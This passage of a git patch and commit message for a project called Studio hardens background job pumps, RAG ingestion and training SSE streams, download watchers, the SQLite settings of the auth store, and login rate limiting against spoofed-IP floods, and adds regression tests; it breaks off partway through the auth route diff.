  every in-flight generation (callers key liveness on the subprocess, not on
  this thread).

Adds regression tests for both.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: extend consumer-loop hardening to RAG, hub, auth, and stream-reader paths

Continuation of the data-recipe and inference pump hardening: the same
"background producer updates in-memory state that a single unsupervised
consumer surfaces to the UI" pattern shows up in several more Studio paths,
each able to silently freeze a UI surface while the worker keeps running.

RAG ingestion SSE (core/rag/ingestion.py):
- job_events polled the queue with a blocking get and never noticed client
  disconnect or a dead worker, so a closed tab or a producer that died
  without emitting a terminal event left the stream hanging. It now polls
  with a timeout, emits heartbeats, ends on terminal job status, caps idle
  time, and always pops the job registry in finally.
- Added _reap_finished_jobs() and call it from start_ingestion so finished
  job state does not accumulate.

Startup reconcile (storage/rag_db.py, main.py):
- reconcile_orphaned_ingestion_jobs() marks ingestion jobs (and their
  documents) that were left non-terminal by a previous crash as failed, so
  the UI does not show jobs stuck "running" forever after a restart. Wired
  in at startup next to cleanup_orphaned_runs().

Hub download watcher (hub/services/download_lifecycle.py):
- _watch() could leave a job pinned "running" if finalize raised. Body is
  now guarded: on failure it logs and sets the job to error, and always
  invalidates the hf cache scan in finally.

External provider stream (core/inference/external_provider.py):
- read timeout was None (no stall ceiling); set to 300s so a wedged
  upstream surfaces as an error instead of an indefinitely hung stream.

Auth store (auth/storage.py):
- Enable WAL + busy_timeout on the auth DB so token validation (read on
  every request) and login writes stop serialising on the rollback journal.
  Matches studio_db / rag_db / providers_db.

Login rate limiter (routes/auth.py):
- _LOGIN_IP_BUCKETS could grow unbounded under spoofed-IP traffic; cap it
  and prune stale buckets, mirroring the per-account bucket handling.

Training progress SSE (routes/training.py):
- Break promptly on client disconnect instead of waiting for the next
  yield to fail on a closed socket, matching the export / data-recipe SSE
  routes.

llama-server stdout drain (core/inference/llama_cpp.py):
- Broaden the drain guard so an unexpected decode/read error logs at debug
  and stops the drainer cleanly instead of escaping the thread.

Frontend stream readers (chat-api.ts, rag-api.ts):
- Wrap the SSE read loops in try/finally + reader.cancel() so early return
  ([DONE]), thrown errors, and consumer aborts release the reader lock
  instead of holding it until GC.

Tests:
- test_training_progress_stream_nan: fake request now implements the async
  is_disconnected() the route polls, matching the other SSE route fakes.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: address Codex review feedback on the consumer-loop hardening

Four follow-ups from the automated review, all on code this PR introduced:

- Data-recipe pump (manager.py): a queue read that keeps raising an error
  outside the read's narrow catch set (e.g. a broken queue pipe after the
  child died) hit the `continue` guard and skipped the dead-worker finalize
  below, spinning forever and leaving the job wedged "active" with its
  workflow key unretired. On a read failure, fall through to finalize when
  the worker is no longer alive. Added a regression test.

- RAG ingestion SSE (ingestion.py): the 5-minute idle cap could end the
  stream while the job was still pending/running (a large document spends
  minutes in embedding/storing with no per-batch progress event). The route
  then sends [DONE], and the client treats a no-terminal-frame end as
  completion, marking the document indexed mid-ingestion. Drop the idle cap:
  while the worker is alive and non-terminal we keep heartbeating; the stream
  ends only on terminal DB status, the None sentinel, or client disconnect.

- Login rate limiter (auth.py): the per-IP path pruned but then added the
  new IP unconditionally, so a spoofed-source-IP spray kept _LOGIN_IP_BUCKETS
  unbounded and made every new IP pay a full-dict prune scan. Gate the add on
  the cap, mirroring the account path.

- Hub download watcher (download_lifecycle.py): if finalize raised before it
  reaped (proc.wait) and dropped the worker (e.g. an I/O error draining
  stderr), the crash path published a terminal state while the live Popen
  stayed registered and kept writing the cache, and the terminal set_job let
  claim() admit a retry on the same repo. Terminate + drop the worker before
  setting the terminal state.

* Studio: keep login throttling working when the per-IP bucket dict saturates

Review follow-up. The previous cap fix skipped creating a bucket for a new IP
once _LOGIN_IP_BUCKETS was full, returning ip_fails=0. Under a sustained spray
that also fills the account dict, every failure from such an IP then looked
first-seen and _login_blocked had no bucket to enforce, so the cap effectively
disabled throttling once saturated.

Bound the dict with a FIFO eviction instead: if the IP is new and the dict is
full, reclaim expired buckets (rate-limited so a burst of distinct IPs can't
make each failure an O(n) sweep) and, if still full, evict the oldest-inserted
IP. The new IP always gets a real bucket, so a saturating (e.g. spoofed
X-Forwarded-For) spray stays throttled while memory stays bounded. Added a
regression test that saturates the dict and asserts a later IP is still blocked.

* Studio: address Codex review (RAG queue lifecycle, stream error, orphan chunks)

Three follow-ups on the Phase 6 changes:

- RAG ingestion SSE (ingestion.py): job_events removed the per-job queue in its
  finally on ANY exit, including an early client disconnect while the worker is
  still running. That dropped the worker's later events (the queue is the only
  one _emit writes to) and made a reconnect find no queue and receive only
  [DONE], which the client treats as completion. Only drop the queue on a
  terminal exit (None sentinel / terminal DB status); leftover terminal queues
  are still swept by _reap_finished_jobs. Added queue-lifecycle tests.

- External provider stream (routes/inference.py): once the 300s read timeout can
  fire, the stream's except path failed the monitor but ended without an error
  frame or [DONE], so the chat client saw a bare EOF and saved the timed-out
  answer as a successful partial with no error. Emit an SSE error frame (and
  [DONE]) on stream failure so the client surfaces it.

- RAG startup reconcile (storage/rag_db.py): marking a half-ingested document
  failed left its chunks/fts/vec rows intact, and retrieval filters by scope not
  status, so a failed document could still be retrieved and cited. Purge the
  document's chunks when reconciling it to failed (the doc row stays for
  re-ingest).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: release the remaining SSE stream readers (training, data-recipe, export)

reviewer.py follow-up. The chat and RAG SSE readers were wrapped in
try/finally + reader.cancel(), but the other three readers built on the same
response.body.getReader() pattern were left without it: streamTrainingProgress,
streamRecipeJobEvents, and streamExportLogs leak the ReadableStreamDefaultReader
lock (held until GC) when the consumer aborts, returns early, or a parse/callback
throws. Wrap each in try/finally + reader.cancel() (export already had a
try/catch, so it only needed the finally). All five frontend SSE readers now
release the reader symmetrically.

* Tighten resilience comments and docstrings

Condense the verbose explanatory comments and internal-helper docstrings added
in this branch to shorter, clearer forms. Comment/whitespace only; verified no
code changed via AST diff. No behaviour change.

* Studio: keep chunks for completed docs during ingestion reconcile

Startup reconciliation flips orphaned (non-terminal) ingestion jobs to failed and
purges the document's chunks so a failed source can't be retrieved. But it dropped
the chunks unconditionally, so a document the worker had already committed as
'completed' before the crash (only its job row left non-terminal) lost every chunk
while still reporting 'completed'. That leaves an empty source that retrieval can't
return and dedup (status != 'failed') blocks from re-ingest.

Only purge chunks when the document UPDATE actually transitions it to failed; an
already-completed document keeps its chunks. Adds reconcile regression tests for
both the completed-doc and genuine in-flight-orphan cases.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: drop a finished RAG job's queue when the client disconnects

job_events kept the per-job queue until it consumed the None sentinel, so a UI
that stops on the terminal event (its reader.cancel aborts the stream before
[DONE]) left the queue registered until the next _reap_finished_jobs sweep; a
batch of uploads followed by idling retained them all.

_run writes the terminal DB status before emitting the terminal event, so on
generator exit, drop the queue when the job's DB row is already terminal (worker
done, nothing to resume) and keep it only while the worker is still running. Adds
a disconnect-after-terminal-event regression test.

* Remove stray async task output files committed by mistake

* Studio: harden login IP throttle and end progress stream on disconnect

Two Codex review items:

Login per-IP throttle: when the per-IP bucket dict saturated, FIFO eviction could
drop a still-hot (blocked) bucket, so an IP could flood the dict with distinct
(or spoofed) source IPs to push out its own bucket and retry as first-seen. Stop
evicting hot buckets; a new IP that can't fit now shares a bounded overflow
counter that still trips the per-IP threshold, so a saturating spray stays
throttled and no live counter is reset.

Progress SSE: on client disconnect the polling loop only broke and fell through
to the unconditional final 'complete' frame, so a buffered or proxying consumer
could read a still-active run as completed. Return from the generator instead.

Adds regression tests for both (spray cannot reset a hot bucket; disconnect while
active emits no complete frame).

* Studio: shard the login overflow counter and stop cancelling chat stream after [DONE]

Two Codex review items:

Login throttle overflow: the single shared overflow counter meant that once a
saturating spray pushed it past the per-IP threshold, _login_blocked returned 429
for every new unbucketed source IP, before credentials were checked -- a global
login denial. Shard the overflow into a fixed array of counters keyed by hash(ip),
so a hot shard only throttles the IPs that map to it while a single source's
repeated failures still concentrate in one shard and stay throttled. Memory stays
bounded and no live bucket is evicted. Adds a regression test that a hot overflow
shard does not block an unrelated IP.

Chat stream: the reader.cancel() in the SSE finally fired even after a natural
[DONE]/EOF. The backend finalizes its api-monitor entry right after yielding the
sentinel (the local pass-through finishes after the last yield), so a client
cancel there can be observed as a disconnect and mark a completed request as
cancelled. Track natural completion and only cancel on an early/abnormal exit.
(No frontend unit test: the Studio frontend has no test harness.)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: give prep-timeout test fakes an is_disconnected method

The progress stream now ends on client disconnect (await request.is_disconnected()
before falling through to the terminal frame). After merging that into the
prep-timeout tests added later on main, their _FakeRequest/_ReconnectRequest must
provide is_disconnected or the generator raises AttributeError under CI.

* Studio: keep the login overflow throttle when bucket capacity frees up

_login_blocked only consulted the per-IP overflow shard while the bucket dict was
still at capacity. If a slot freed before the 60s window expired (e.g. another
IP's successful login calls _clear_login_bucket), a source counted in a hot shard
stopped being blocked and its next failure got a fresh per-IP bucket, resetting
the throttle the overflow path exists to preserve. Always max in the IP's shard
(shards are empty outside saturation, so it is a no-op in the common case). Adds a
regression test that a hot source stays throttled after a bucket frees.

* Studio: clear a login IP's overflow throttle on successful login

_clear_login_bucket reset the per-IP and per-account buckets on a successful
login but not the overflow shard, so after the dict saturated and an IP was
counted in overflow, a later successful login left those entries behind and the
next failed attempt could immediately return 429.

Store overflow entries as (timestamp, ip) so a source is throttled by its own
count within the shard (also removing cross-IP collateral within a shard), and
drop just that IP's entries in _clear_login_bucket. Adds a regression test that a
successful login clears the overflow throttle.

* Studio: bound the login overflow shard memory under high-cardinality spray

The per-IP overflow tracked failures in a time-pruned deque of (timestamp, ip)
tuples, so a spoofed-X-Forwarded-For spray of distinct one-off IPs grew memory and
the per-check scan with request cardinality for the whole window -- undermining
the bucket cap that exists to bound memory. Replace each shard with a fixed-
capacity dict (ip -> [count, window_start]): O(1) lookups, and when a shard is
full a one-off IP evicts the lowest-count entry (Space-Saving) so memory is hard-
bounded while a persistent attacker keeps a high count and is never evicted. Adds
a regression test that shards stay within the per-shard cap under a 5000-IP spray.

* Studio: purge chunks for already-failed docs during ingestion reconcile

The reconcile chunk-purge was gated on the documents UPDATE actually flipping a
non-terminal doc to failed. A doc the worker had already marked 'failed' before
the crash (job row left non-terminal) was not re-flipped, so its committed chunks
were kept and stayed retrievable/citable, since retrieval filters by scope not
status. Purge chunks whenever the document is not 'completed' (failed, in-flight,
or gone), preserving the completed-doc carve-out. Adds a regression test.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: don't inherit an evicted IP's count onto a new overflow source

When a full overflow shard evicted the lowest-count entry, the new source
inherited that count (Space-Saving base + 1). If a shard was saturated with hot
entries, an unrelated new IP could land at/over the threshold and be 429'd after a
single attempt -- cross-IP collateral despite the per-source-isolation intent.
New entries now start clean at count 1; the only cost is that a heavy hitter that
is the lowest-count entry in a fully saturated shard can briefly reset, which is
preferable to blocking a bystander. Adds a regression test.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: carry overflow failures into a new IP bucket on transition

_login_blocked took max(per-IP bucket, overflow shard) rather than combining them,
so a source could log (threshold-1) failures in overflow during saturation and,
once a bucket slot freed, another (threshold-1) in a fresh bucket within the same
window -- roughly doubling the per-IP limit. When a saturated-era IP first gets a
real bucket, migrate its windowed overflow count into that bucket (and drop the
overflow entry) so the combined failures throttle at the intended limit. Adds a
regression test.

* Studio: reconcile a completed doc's orphaned job to completed, not failed

When a crash left an ingestion job non-terminal after its document was already
committed as completed, reconcile marked the job failed. After restart the upload
UI has no in-memory SSE queue and falls back to getJob(), which treats a failed
job as an indexing failure and removes/toasts a document that is actually
searchable. Mark the job completed (keeping its chunks) when its document is
completed. Extends the completed-doc reconcile test to assert the job status.

* Studio: clamp the overflow failure count migrated into a login bucket

A saturated source could accrue an unbounded overflow count, then materialize
one deque entry per recorded failure when a bucket slot freed, allocating an
arbitrarily large deque under the login lock. Only at-or-above the per-IP
threshold matters for blocking, so cap the count there at the record and take
sites; the migration is now bounded without weakening the limit.

* Studio: keep the RAG job stream alive on a transient status read

The heartbeat poll read the job row unguarded; a momentarily-locked DB would
raise out of job_events, which the SSE route turns into a terminal error frame,
and the UI drops a document whose worker is still running. Treat a failed status
read as non-terminal: heartbeat and retry, and keep the queue so a reconnect can
resume.

* Studio: set busy_timeout before journal_mode on the auth DB

Switching journal_mode needs a lock, so if a refresh-token write already holds
one, journal_mode=WAL raises SQLITE_BUSY and the shared try leaves the
connection on SQLite's default zero lock wait. Set busy_timeout first so the
switch waits instead of failing.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/auth/storage.py                |  11 +
 .../backend/core/data_recipe/jobs/manager.py  |  99 ++++---
 .../core/inference/external_provider.py       |   8 +-
 studio/backend/core/inference/llama_cpp.py    |   7 +-
 studio/backend/core/inference/orchestrator.py |  45 ++--
 studio/backend/core/rag/ingestion.py          |  91 ++++++-
 .../hub/services/download_lifecycle.py        |  61 +++--
 studio/backend/main.py                        |  10 +
 studio/backend/routes/auth.py                 | 137 +++++++++-
 studio/backend/routes/inference.py            |   8 +
 studio/backend/routes/training.py             |   5 +
 studio/backend/storage/rag_db.py              |  68 +++++
 .../tests/test_data_recipe_pump_resilience.py | 152 +++++++++++
 .../test_inference_dispatcher_resilience.py   |  91 +++++++
 studio/backend/tests/test_login_rate_limit.py | 245 ++++++++++++++++++
 .../test_rag_job_events_queue_lifecycle.py    | 114 ++++++++
 .../tests/test_rag_reconcile_orphaned.py      | 114 ++++++++
 .../test_training_progress_prep_timeout.py    |   6 +
 .../test_training_progress_stream_nan.py      |  24 ++
 .../src/features/chat/api/chat-api.ts         | 157 ++++++-----
 .../src/features/export/api/export-api.ts     |   7 +
 .../frontend/src/features/rag/api/rag-api.ts  |  51 ++--
 .../src/features/recipe-studio/api/index.ts   |  47 ++--
 .../src/features/training/api/train-api.ts    |  61 +++--
 24 files changed, 1388 insertions(+), 231 deletions(-)
 create mode 100644 studio/backend/tests/test_data_recipe_pump_resilience.py
 create mode 100644 studio/backend/tests/test_inference_dispatcher_resilience.py
 create mode 100644 studio/backend/tests/test_rag_job_events_queue_lifecycle.py
 create mode 100644 studio/backend/tests/test_rag_reconcile_orphaned.py

diff --git a/studio/backend/auth/storage.py b/studio/backend/auth/storage.py
index 1f153699d7..a0da2b2096 100644
--- a/studio/backend/auth/storage.py
+++ b/studio/backend/auth/storage.py
@@ -110,6 +110,17 @@ def get_connection() -> sqlite3.Connection:
         except OSError:
             pass
     conn.row_factory = sqlite3.Row
+    # WAL lets token reads run concurrently with refresh-token writes;
+    # busy_timeout bounds lock waits. Matches the other Studio SQLite stores.
+    # Set busy_timeout first: switching journal_mode needs a lock, so if a
+    # refresh-token write already holds one, journal_mode=WAL raises SQLITE_BUSY;
+    # with busy_timeout already in effect it waits instead of failing and leaving
+    # this connection on SQLite's default zero lock wait.
+    try:
+        conn.execute("PRAGMA busy_timeout=5000")
+        conn.execute("PRAGMA journal_mode=WAL")
+    except sqlite3.Error:
+        pass
     conn.execute(
         """
         CREATE TABLE IF NOT EXISTS auth_user (
diff --git a/studio/backend/core/data_recipe/jobs/manager.py b/studio/backend/core/data_recipe/jobs/manager.py
index c238c250bd..0e0044702e 100644
--- a/studio/backend/core/data_recipe/jobs/manager.py
+++ b/studio/backend/core/data_recipe/jobs/manager.py
@@ -28,6 +28,9 @@ from .constants import (
 from .parse import apply_update, coerce_event, parse_log_message
 from .types import Job
 from .worker import run_job_process
+from loggers import get_logger
+
+logger = get_logger(__name__)
 
 
 _CTX = mp.get_context("spawn")
@@ -445,54 +448,86 @@ class JobManager:
                 events.append(coerce_event(q.get_nowait()))
             except queue.Empty:
                 return events
-            except (EOFError, OSError, ValueError):
+            except Exception:
+                # Return what we have so the run still finalizes rather than wedging "active".
+                logger.exception(
+                    "Data-recipe job pump: queue drain failed; finalizing with drained events"
+                )
                 return events
 
+    def _safe_handle_event(self, job: Job, event: dict) -> None:
+        """Apply one event, swallowing any handler error so the pump can't die."""
+        try:
+            self._handle_event(job, event)
+        except Exception:
+            etype = event.get("type") if isinstance(event, dict) else type(event).__name__
+            logger.exception("Data-recipe job pump: failed to handle %s event; skipping", etype)
+
     def _pump_loop(self) -> None:
-        """Background thread: consumes worker events + updates job snapshot."""
+        """Background thread: consume worker events and update the job snapshot.
+
+        Guarded so no single event can end the loop; it is the sole writer of the
+        snapshot the UI polls, so its death would freeze status/SSE.
+        """
         while True:
             snap = self._snapshot()
             if snap is None:
                 return
             job, proc, mp_q = snap
 
-            event = self._read_queue_with_timeout(mp_q, timeout_sec = 0.25)
+            try:
+                event = self._read_queue_with_timeout(mp_q, timeout_sec = 0.25)
+            except Exception:
+                # If a read keeps raising after the worker died, finalize instead
+                # of spinning forever; only retry while the worker is still alive.
+                logger.exception("Data-recipe job pump: queue read failed; continuing")
+                if proc.is_alive():
+                    time.sleep(0.1)
+                    continue
+                event = None
+
             if event is not None:
-                self._handle_event(job, event)
+                self._safe_handle_event(job, event)
                 continue
 
             if proc.is_alive():
                 continue
 
-            for e in self._drain_queue(mp_q):
-                self._handle_event(job, e)
+            # Worker exited: drain + finalize, guarded so an error can't strand the run "active".
+            try:
+                for e in self._drain_queue(mp_q):
+                    self._safe_handle_event(job, e)
 
-            retired_job: Job | None = None
-            with self._lock:
-                if self._job and self._job.status in {
-                    "pending",
-                    "active",
-                    "cancelling",
-                }:
-                    if self._job.status == "cancelling":
-                        self._job.status = "cancelled"
-                    else:
-                        self._job.status = "error"
-                        self._job.error = self._job.error or "process exited"
-                    self._job.finished_at = time.time()
-                    event_type = (
-                        EVENT_JOB_CANCELLED if self._job.status == "cancelled" else EVENT_JOB_ERROR
-                    )
-                    self._emit(
-                        {
-                            "type": event_type,
-                            "ts": time.time(),
-                            "job_id": self._job.job_id,
-                        }
-                    )
-                    retired_job = self._job
-            if retired_job is not None:
-                self._retire_workflow_key(retired_job)
+                retired_job: Job | None = None
+                with self._lock:
+                    if self._job and self._job.status in {
+                        "pending",
+                        "active",
+                        "cancelling",
+                    }:
+                        if self._job.status == "cancelling":
+                            self._job.status = "cancelled"
+                        else:
+                            self._job.status = "error"
+                            self._job.error = self._job.error or "process exited"
+                        self._job.finished_at = time.time()
+                        event_type = (
+                            EVENT_JOB_CANCELLED
+                            if self._job.status == "cancelled"
+                            else EVENT_JOB_ERROR
+                        )
+                        self._emit(
+                            {
+                                "type": event_type,
+                                "ts": time.time(),
+                                "job_id": self._job.job_id,
+                            }
+                        )
+                        retired_job = self._job
+                if retired_job is not None:
+                    self._retire_workflow_key(retired_job)
+            except Exception:
+                logger.exception("Data-recipe job pump: finalization after worker exit failed")
             return
 
     def _handle_event(self, job: Job, event: dict) -> None:
diff --git a/studio/backend/core/inference/external_provider.py b/studio/backend/core/inference/external_provider.py
index cae001c34d..20312e067c 100644
--- a/studio/backend/core/inference/external_provider.py
+++ b/studio/backend/core/inference/external_provider.py
@@ -771,11 +771,9 @@ class ExternalProviderClient:
                 self.base_url = self.base_url[: -len("/openai")]
         self.api_key = api_key
         self._timeout = httpx.Timeout(timeout, connect = 10.0)
-        # Disable read timeout on SSE streams: reasoning-heavy models pause
-        # tens of seconds between bytes while thinking, and httpx's read
-        # timeout is the per-byte gap, not wall clock. connect/write bounds
-        # still surface real network failures.
-        self._stream_timeout = httpx.Timeout(timeout, connect = 10.0, read = None)
+        # Generous per-byte read timeout: reasoning models pause tens of seconds
+        # between bytes, but a dead upstream must eventually error, not hang forever.
+        self._stream_timeout = httpx.Timeout(timeout, connect = 10.0, read = 300.0)
 
     def _auth_headers(self) -> dict[str, str]:
         """Build authentication headers using the provider's registry config."""
diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 152a3f19b2..255fc4140f 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -3147,9 +3147,10 @@ class LlamaCppBackend:
                         except (ValueError, OSError):
                             # Log file closed under us; tee silently.
                             pass
-        except (ValueError, OSError):
-            # Pipe closed -- process terminating.
-            pass
+        except Exception:
+            # Never let the drain thread die: a full stdout pipe can deadlock
+            # llama-server (Windows). Pipe-closed on exit is the common case.
+            logger.debug("llama-server stdout drain stopped", exc_info = True)
 
     # GGUF KV type sizes for fast skipping
     _GGUF_TYPE_SIZE = {
diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py
index c980dbde2d..5dbd5fb479 100644
--- a/studio/backend/core/inference/orchestrator.py
+++ b/studio/backend/core/inference/orchestrator.py
@@ -534,29 +534,34 @@ class InferenceOrchestrator:
             except (EOFError, OSError, ValueError):
                 break
 
-            rid = resp.get("request_id")
-            rtype = resp.get("type", "")
+            # Sole consumer of the response queue; if it died every in-flight
+            # stream would hang, so never let routing kill the dispatcher.
+            try:
+                rid = resp.get("request_id")
+                rtype = resp.get("type", "")
 
-            # Status messages — log and skip
-            if rtype == "status":
-                logger.info("Subprocess status: %s", resp.get("message", ""))
-                continue
-
-            # Route to mailbox if a matching request_id exists
-            if rid:
-                with self._mailbox_lock:
-                    mbox = self._mailboxes.get(rid)
-                if mbox is not None:
-                    mbox.put(resp)
+                # Status messages: log and skip
+                if rtype == "status":
+                    logger.info("Subprocess status: %s", resp.get("message", ""))
                     continue
 
-            # No matching mailbox (a _gen_lock reader or orphaned). Can't
-            # un-get from mp.Queue, so just log. (status was handled above.)
-            logger.debug(
-                "Dispatcher: no mailbox for request_id=%s type=%s, dropping",
-                rid,
-                rtype,
-            )
+                # Route to mailbox if a matching request_id exists
+                if rid:
+                    with self._mailbox_lock:
+                        mbox = self._mailboxes.get(rid)
+                    if mbox is not None:
+                        mbox.put(resp)
+                        continue
+
+                # No matching mailbox; can't un-get from mp.Queue, so just log.
+                logger.debug(
+                    "Dispatcher: no mailbox for request_id=%s type=%s, dropping",
+                    rid,
+                    rtype,
+                )
+            except Exception:
+                logger.exception("Inference dispatcher: failed to route a response; continuing")
+                continue
 
     def _generate_dispatched(
         self,
diff --git a/studio/backend/core/rag/ingestion.py b/studio/backend/core/rag/ingestion.py
index c0c9a9f656..77bbdc92f5 100644
--- a/studio/backend/core/rag/ingestion.py
+++ b/studio/backend/core/rag/ingestion.py
@@ -26,6 +26,11 @@ _jobs_lock = threading.Lock()
 
 _EMBED_BATCH = 64  # bounds peak memory
 
+# Poll with a timeout so the generator wakes periodically to detect a gone
+# client or a terminal job whose worker died without the None sentinel.
+_SSE_POLL_SECONDS = 1.0
+_TERMINAL_JOB_STATUSES = {"completed", "failed"}
+
 
 def _sha256_file(path: str) -> str:
     h = hashlib.sha256()
@@ -178,6 +183,9 @@ def start_ingestion(
     if ext not in config.UPLOAD_EXTS:
         raise ValueError(f"unsupported file type: {ext}")
 
+    # Reclaim queues for finished jobs so the registry stays bounded.
+    _reap_finished_jobs()
+
     sha = _sha256_file(stored_path)
     conn = rag_db.get_connection()
     try:
@@ -248,19 +256,86 @@ def _new_job(
     return job_id
 
 
+def _reap_finished_jobs() -> None:
+    """Drop per-job queues whose DB row already reached a terminal status.
+
+    Otherwise removed only by ``job_events`` after the ``None`` sentinel, so a
+    caller that polls ``/jobs/{id}`` instead of streaming would grow ``_jobs``
+    forever. Safe while streaming: ``job_events`` holds its queue reference.
+    """
+    with _jobs_lock:
+        job_ids = list(_jobs.keys())
+    for jid in job_ids:
+        row = get_job_status(jid)
+        if row is not None and row.get("status") in _TERMINAL_JOB_STATUSES:
+            with _jobs_lock:
+                _jobs.pop(jid, None)
+
+
 def job_events(job_id: str):
-    """Yield job events for SSE; ends when the worker signals completion."""
+    """Yield job events for SSE; ends when the worker signals completion.
+
+    Timed ``get`` so the generator can't block forever: it wakes to heartbeat,
+    to notice a disconnected client, and to stop on a terminal DB status (a hard
+    worker death that skipped the ``None`` sentinel). Drops the queue only on a
+    terminal exit, never on an early client disconnect.
+
+    It deliberately does *not* end on idle alone: a long silent stage (e.g.
+    embedding a large doc) is not a failure, and ending there would send
+    ``[DONE]`` with the row still pending, which the client treats as completion.
+    The stream ends only on a terminal status, the ``None`` sentinel, or disconnect.
+    """
     with _jobs_lock:
         q = _jobs.get(job_id)
     if q is None:
         return
-    while True:
-        event = q.get()
-        if event is None:
-            break
-        yield event
-    with _jobs_lock:
-        _jobs.pop(job_id, None)
+    terminal = False
+    try:
+        while True:
+            try:
+                event = q.get(timeout = _SSE_POLL_SECONDS)
+            except queue.Empty:
+                try:
+                    row = get_job_status(job_id)
+                except Exception:  # noqa: BLE001
+                    # A transient status read (e.g. the DB momentarily locked) must
+                    # not abort the stream: routes/rag.py would turn the raised
+                    # exception into a terminal {type: error} frame and the UI would
+                    # drop a document whose worker is still running. Heartbeat and
+                    # retry on the next poll instead.
+                    logger.warning(
+                        "job_events status read failed for %s; continuing", job_id, exc_info = True
+                    )
+                    yield {"type": "heartbeat"}
+                    continue
+                if row is None or row.get("status") in _TERMINAL_JOB_STATUSES:
+                    # Worker finished (or row gone); stop and let the client reconcile via getJob.
+                    terminal = True
+                    break
+                yield {"type": "heartbeat"}
+                continue
+            if event is None:
+                terminal = True
+                break
+            yield event
+    finally:
+        # Drop the queue once nothing more will be emitted into it: either a
+        # terminal exit, or a disconnect after the job already finished (the UI
+        # stops on the terminal event, before [DONE], so terminal is still False
+        # here -- _run writes the terminal DB status before emitting it). Keep it
+        # only while the worker is still running, so an early disconnect can
+        # reconnect and resume its events.
+        if not terminal:
+            try:
+                row = get_job_status(job_id)
+                terminal = row is None or row.get("status") in _TERMINAL_JOB_STATUSES
+            except Exception:  # noqa: BLE001
+                # Can't confirm terminality (transient DB error) -- keep the queue so
+                # a reconnect can resume rather than orphaning a live worker's events.
+                terminal = False
+        if terminal:
+            with _jobs_lock:
+                _jobs.pop(job_id, None)
 
 
 def get_job_status(job_id: str) -> dict | None:
diff --git a/studio/backend/hub/services/download_lifecycle.py b/studio/backend/hub/services/download_lifecycle.py
index c2b99c0f18..44c39337fb 100644
--- a/studio/backend/hub/services/download_lifecycle.py
+++ b/studio/backend/hub/services/download_lifecycle.py
@@ -314,25 +314,50 @@ def register_worker(
     worker_token = hf_token
 
     def _watch() -> None:
-        finalize_worker_exit(
-            registry,
-            key,
-            proc,
-            hf_token = worker_token,
-            label = label,
-            log_prefix = log_prefix,
-            logger = logger,
-            repo_type = repo_type,
-            repo_id = repo_id,
-            transport = transport,
-        )
-        if registry.get_job(key).state in ("error", "cancelled"):
-            download_registry.purge_empty_marker_dir(
-                repo_type,
-                repo_id,
-                download_registry.variant_from_key(key),
+        try:
+            finalize_worker_exit(
+                registry,
+                key,
+                proc,
+                hf_token = worker_token,
+                label = label,
+                log_prefix = log_prefix,
+                logger = logger,
+                repo_type = repo_type,
+                repo_id = repo_id,
+                transport = transport,
             )
-        hf_cache_scan.invalidate_hf_cache_scans()
+        except Exception:
+            # finalize_worker_exit is the only thing that clears running/cancelling;
+            # if it raises, force a terminal state so claim() isn't blocked until restart.
+            logger.exception("download watcher crashed for %s", key)
+            # finalize may have raised before reaping the worker; terminate the
+            # still-registered Popen first, else the terminal set_job clears the
+            # repo guard and a live worker would race a retry on the same repo.
+            try:
+                kill_and_reap_process(proc, label = label, logger = logger)
+            except Exception:
+                logger.exception("failed to reap worker after watcher crash for %s", key)
+            try:
+                registry.drop_process(key, proc)
+            except Exception:
+                logger.exception("failed to drop worker after watcher crash for %s", key)
+            try:
+                registry.set_job(key, "error", "download watcher crashed")
+            except Exception:
+                logger.exception("failed to mark %s errored after watcher crash", key)
+        finally:
+            try:
+                if registry.get_job(key).state in ("error", "cancelled"):
+                    download_registry.purge_empty_marker_dir(
+                        repo_type,
+                        repo_id,
+                        download_registry.variant_from_key(key),
+                    )
+            except Exception:
+                logger.exception("post-finalize marker cleanup failed for %s", key)
+            finally:
+                hf_cache_scan.invalidate_hf_cache_scans()
 
     threading.Thread(target = _watch, name = watch_name, daemon = True).start()
     return True
diff --git a/studio/backend/main.py b/studio/backend/main.py
index a8e81b68e6..731625ca74 100644
--- a/studio/backend/main.py
+++ b/studio/backend/main.py
@@ -487,6 +487,16 @@ async def lifespan(app: FastAPI):
         import structlog
         structlog.get_logger(__name__).warning("cleanup_orphaned_runs failed at startup: %s", exc)
 
+    # Same for RAG: fail ingestion jobs stranded mid-ingest by a crash.
+    try:
+        from storage.rag_db import reconcile_orphaned_ingestion_jobs
+        reconcile_orphaned_ingestion_jobs()
+    except Exception as exc:
+        import structlog
+        structlog.get_logger(__name__).warning(
+            "reconcile_orphaned_ingestion_jobs failed at startup: %s", exc
+        )
+
     _start_helper_precache_if_enabled()
 
     # Warm the RAG embedder so the first upload skips the cold load. Non-fatal.
diff --git a/studio/backend/routes/auth.py b/studio/backend/routes/auth.py
index d2b3bf94e9..92ecdbfb5b 100644
--- a/studio/backend/routes/auth.py
+++ b/studio/backend/routes/auth.py
@@ -74,9 +74,81 @@ _LOGIN_WINDOW_SECONDS = 60.0
 _LOGIN_MAX_FAILS = 5
 _LOGIN_IP_MAX_FAILS = 30
 _LOGIN_LOCKOUT_SECONDS = 60
-# Bucket-dict cap. On overflow, prune stale entries; if still full the failure
-# folds into the per-IP aggregate only.
+# Bucket-dict cap. On overflow, reclaim expired buckets; a new IP that still can't
+# fit falls back to a sharded overflow rather than evicting a hot bucket.
 _LOGIN_MAX_BUCKETS = 4096
+# Last full stale-sweep time; rate-limits the O(n) sweep under a burst of new IPs.
